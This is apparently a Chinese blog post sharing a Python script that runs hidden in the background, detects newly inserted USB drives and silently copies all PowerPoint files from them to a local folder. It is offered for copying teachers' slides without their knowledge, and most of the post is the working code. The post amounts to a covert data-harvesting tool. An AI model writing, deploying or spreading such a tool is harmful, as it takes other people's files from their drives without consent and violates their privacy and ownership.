静默拷贝U盘里的ppt/pptx

专门用于拷贝老师讲课的课件!!!本程序需要编译,运行后无界面,如果需要关闭的话,请从任务管理器里关闭

附上代码:

python 复制代码
import os
import shutil
import time
import psutil
 
# 获取本机硬盘盘符列表
def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
    return drives
 
# 拷贝 U盘中的 .ppt.pptx 文件到 指定目录
def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in os.walk(source_folder):
        for file in files:
            if file.endswith((".ppt", ".pptx")):
                src_file = os.path.join(root, file)
                dst_root = root.replace(source_folder, destination_folder)
                dst_file = os.path.join(dst_root, file)
                os.makedirs(dst_root, exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)
 
# 检查是否有新的 U 盘插入
def check_for_new_drive(speed_limit_kb=1024):  # 默认速度限制为 1024 KB/s
    drives = get_disk_drives()
    drives = [drive for drive in drives if drive not in excluded_drives]
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        time.sleep(300)  # 等待300秒后再开始拷贝
        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)
 
if __name__ == "__main__":
    # 已知的驱动器列表,用于检测新插入的驱动器
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "d:\\Download\\"  # 目标路径
    # 检查目标路径是否存在,如果不存在则创建它
    if not os.path.exists(destination_drive):
        os.makedirs(destination_drive)
    # 每隔一分钟检查U盘一次
    while True:
        check_for_new_drive()
        time.sleep(60)  # 等待60秒
相关推荐
Psycho_MrZhang7 小时前
高并发服务设计思路
python
FAFU_kyp7 小时前
Rust 语法速查
开发语言·后端·rust
sheji34167 小时前
【开题答辩全过程】以 基于JSP的汽车租赁管理系统为例,包含答辩的问题和答案
java·开发语言·汽车
liulilittle7 小时前
CLANG 交叉编译
linux·服务器·开发语言·前端·c++
多米Domi0117 小时前
0x3f 第21天 三更java进阶1-35 hot100普通数组
java·python·算法·leetcode·动态规划
沐知全栈开发7 小时前
Pandas 相关性分析
开发语言
小程故事多_807 小时前
从零吃透PyTorch,最易懂的入门全指南
人工智能·pytorch·python
kylezhao20198 小时前
C#读取字节数组某个位的值
开发语言·c#
资生算法程序员_畅想家_剑魔9 小时前
Java常见技术分享-26-事务安全-锁机制-作用与分类
java·开发语言·数据库
Keep_Trying_Go9 小时前
基于无监督backbone无需训练的类别无关目标统计CountingDINO算法详解
人工智能·python·算法·多模态·目标统计